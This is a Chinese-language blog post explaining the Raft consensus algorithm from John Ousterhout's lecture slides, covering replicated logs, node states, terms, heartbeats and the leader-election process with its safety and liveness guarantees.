https://tinylcy.me/2018/Understanding-the-Raft-consensus-algorithm-One/

重新阅读了 Raft 论文,结合 John Ousterhout 在斯坦福大学的课程视频,对 Raft 重新梳理了一遍,并决定用文字记录下来。

Raft 是一个共识算法,何为共识算法?通俗的说,共识算法的目的就是要实现分布式环境下各个节点上数据达成一致。那么节点的数据为什么会出现不一致?原因有很多,例如节点宕机、网络延迟、数据包乱序等等。但是要注意的是,Raft 并不考虑存在恶意的节点的情况,也就是说,不存在主动篡改数据的节点。所以可以理解为:允许节点宕机,但是只要节点没有宕机,那么它就是正常工作的。

Slide 1

Raft 是为 Replicated Logs 设计的共识算法。一条日志对应于一个指令。可以这么理解:如果各个节点的日志在数量顺序都达成一致,那么节点只需顺序执行日志,就能够得到一致的结果。注意,真正执行日志的是状态机(State Machine),Raft 协调的正是日志和状态机。

Slide 2

再次回顾 Replicated Log,Raft 需要实现将日志完全一致的复制到其他节点,进而创建多副本状态机(Replicated State Machine),状态机可以理解为一个确定的应用程序,所谓确定是指只要是相同的输入,那么任何状态机都会计算出相同的输出。至于如何实现日志完全一致的复制,则是 Raft 即一致性模块(Consensus Module)需要做的事。

重新思考,为什么需要在多个节点维护一份完全一致的日志?如果只有 1 个节点提供服务,那么它就会成为整个系统的瓶颈,如果这个节点崩溃了,服务也就不能提供了。所以很自然的,需要让多个节点能够提供服务,也就是说,如果提供服务的某个节点崩溃了,系统中其他节点依旧可以提供等价的服务,但是如何做到等价?这就需要系统中的节点维持一致的状态。注意,实际上并不需要所有的节点同时拥有一致的状态,只要大多数节点拥有即可。大多数指的是:如果一共存在 3 个节点,允许 1 个节点不能正常工作;如果一共有 5 个节点,允许 2 个节点不能正常工作。为什么是大多数?我们将通过接下来的 Slides 进一步理解。

Slide 3

共识算法通常分为两类:对称式共识算法和非对称式共识算法。

  • 对称式共识算法指网络中不存在中心节点 Leader,所有的节点都具有相同的地位,节点与节点之间通过互相通信来达成共识,即网络拓扑结构类似 P2P 网络。可想而知,对称式类的共识协议会非常复杂,但是性能会更好,因为网络中的节点可以同时提供服务。
  • 非对称式共识算法会选举出一个 Leader,剩余的节点作为 Follower,客户端只能和 Leader 通信,节点之间的共识通过 Leader 来协调。相比于对称式共识算法,非对称式共识算法能够简化算法的设计,所有的操作都通过 Leader 完成,Follower 只需被动接受来自 Leader 的消息。

Raft 是一种非对称的共识算法,也正是采用了非对称的设计,Raft 得以将整个共识过程分解:共识算法正常运行和 Leader 变更

Slide 4

Raft 论文中多次强调 Raft 的设计是围绕算法的可理解性展开,我们将从六个部分对 Raft 进行理解。

  • Leader 选举,以及如何检测异常并进行新一轮的 Leader 选举。
  • 基本的日志复制操作,也就是 Raft 正常运行时的操作。
  • 在 Leader 发生变更时如何保证安全性和一致性,这是 Raft 算法最关键的部分。
  • 如何避免过时的 Leader 带来的影响,因为一个 Leader 宕机后再恢复仍然会认为自己是 Leader。
  • 客户端交互,所谓实现线性化语义可以理解为实现幂等性。
  • 配置变更,如何维持在线增删节点时的安全性和一致性。

Slide 5

Raft 算法有几个关键属性,我们需要提前了解。首先是节点的状态,相比于 Paxos,Raft 简化了节点可能的状态,在任何时候,节点可能处于以下三种状态。

  • Leader。Leader 负责处理客户端的请求,同时还需要协调日志的复制。在任意时刻,最多允许存在 1 个 Leader,也就是说,可能存在 0 个 Leader,什么时候会出现不存在 Leader 的情况?接下来会说明。
  • Follower。在 Raft 中,Follower 是一个完全被动的角色,Follower 只会响应消息。注意,在 Raft 中,节点之间的通信是通过 RPC 进行的。
  • Candidate。Candidate 是节点从 Follower 转变为 Leader 的过渡状态。因为 Follower 是一个完全被动的状态,所以当需要重新选举时,Follower 需要将自己提升为 Candidate,然后发起选举。

Raft 正常运行时只有一个 Leader,其余节点均为 Follower。

从状态转换图可以看到,所有的节点都是从 Follower 开始,如果 Follower 经过一段时间后收不到来自 Leader 的心跳,那么 Follower 就认为需要 Leader 已经崩溃了,需要进行新一轮的选举,因此 Follower 的状态变更为 Candidate。Candidate 有可能被选举为 Leader,也有可能回退为 Follower,具体情况下文会继续分析。如果 Leader 发现自己已经过时了,它会主动变更为 Follower,Leader 如何发现自己过时了?我们下文也会分析。

Slide 6

Raft 的另一个关键属性是任期(Term),在分布式系统中,由于节点的物理时间戳都不统一,因此需要一个逻辑时间戳来表明事件发生的先后顺序,Term 正是起到了逻辑时间戳的作用。Raft 的运行过程被划分为一系列 Term,一次 Leader 选举会开启一个新的 Term。

因为一次选举最多允许产生一个 Leader,一次选举又会开启一个新的 Term,所以每个 Leader 都会维护自己当前的 Term(Current Term)。注意,Leader 需要持久化存储 Current Term,当 Leader 宕机后再恢复,Leader 仍然会认为自己是 Leader,除非发现自己已经过时了,如何发现自己过时?依靠的正是 Current Term 的值。

一次 Term 也可能选不出 Leader,这是因为各个 Candidate 都获得了相同数量的选票,具体细节下文会再阐述。目前我们需要知道的是 Term 在 Raft 中是一个非常关键的属性,Term 始终保持单调递增,而 Raft 认为一个节点的 Term 越大,那么它所拥有的日志就越准确。

Slide 7

需要注意的是,Raft 有需要持久化存储的状态,包括 Current Term、VotedFor(下文会解析)和日志。每个日志项结构非常简单,包括日志所在 Term、Index 和状态机需要执行的指令。节点之间的 RPC 消息分为两类,一类为选举时的消息,另一类为 Raft 正常运行时的消息。具体细节我们会在下文理解。

Slide 8

Raft 中 Leader 和 Follower 之间需要通过心跳消息来维持关系,Follower 一旦在 Election Timeout 后没有收到来自 Leader 的心跳消息,那么 Follower 就认为 Leader 已经崩溃了,于是就发起一轮新的选举。在 Raft 中,心跳消息复用日志复制消息 AppendEntries 数据结构,只不过不携带任何日志。

Slide 9

现在开始正式理解 Raft 的选举过程,大部分内容已有所介绍,我们再梳理一遍。

当新的一轮选举开始时,Follower 首先要自增当前 Term,代表进入新的任期,紧接着变更状态为 Candidate,每个 Candidate 会先给自己投上一票,然后通过发送 RequestVote RPC 消息呼吁其他节点给自己投票。选举结果存在三种可能。

  • Candidate 收到了大多数节点的投票,那么 Candidate 自然就成为 Leader,然后马上发送心跳消息维护自己的 Leader 地位,并对外提供服务。
  • Candidate 在等待来自其他节点的选票的过程中收到了来自 Leader 的心跳消息,Candidate 可以看到当前的心跳消息中包含更新的 Term,就会意识到新的 Leader 已经被选举出来,于是就自降为 Follower。
  • 各个 Candidate 都获得了相同数量的选票,那么每个节点都会继续等待选票,没有新的 Leader 产生。等待一定的时间后,重新开启选举过程,直到选举出新的 Leader。

需要考虑的是 Raft 如何避免重复出现 Candidate 瓜分选票的情况:如果当前轮选举 Candidate 瓜分了选票,那么Candidate 会进入下一轮的选举,但是各个 Candidate 开始选举的时刻是随机的。

Slide 10

继续理解选举过程,选举过程需要保证两个特性:Safety 和 Liveness。

  • Safety 要求每个 Term 最多只能选举出一个 Leader,Raft 约束每个节点除了能给自己投一票,也给其他节点只能投一票。因此,如果 Candidate A 已经获得了大多数选票,由于每个节点只能向外投一票,因此 Candidate B 不可能获得大多数选票。Safety 特性保证一段时间内只可能存在一个 Leader 提供服务并协调日志的复制,避免因为存在多个 Leader 导致日志不一致。
  • Safety 保证在一段时间内最多只能存在一个 Leader,而 Liveness 保证系统最终必须要有要有一个 Candidate 赢得选举成为 Leader,Leader 无法选举出来意味着系统不能对外提供服务。Raft 实现 Liveness 的方式很简单,在 Slide 9 已经提及:当某一轮选举 Candidate 瓜分了选票,那么各个节点进入下一轮选举等待的时间是随机的,Candidate 随机等待 [T, 2T], T 为选举超时时间,这样就大大减少了再次瓜分选票的概率。

小结

对 Raft Leader 选举过程的理解基本结束,Raft 为了提高算法的可理解性,将问题分解,我们接下来会继续理解 Raft 的剩余部分。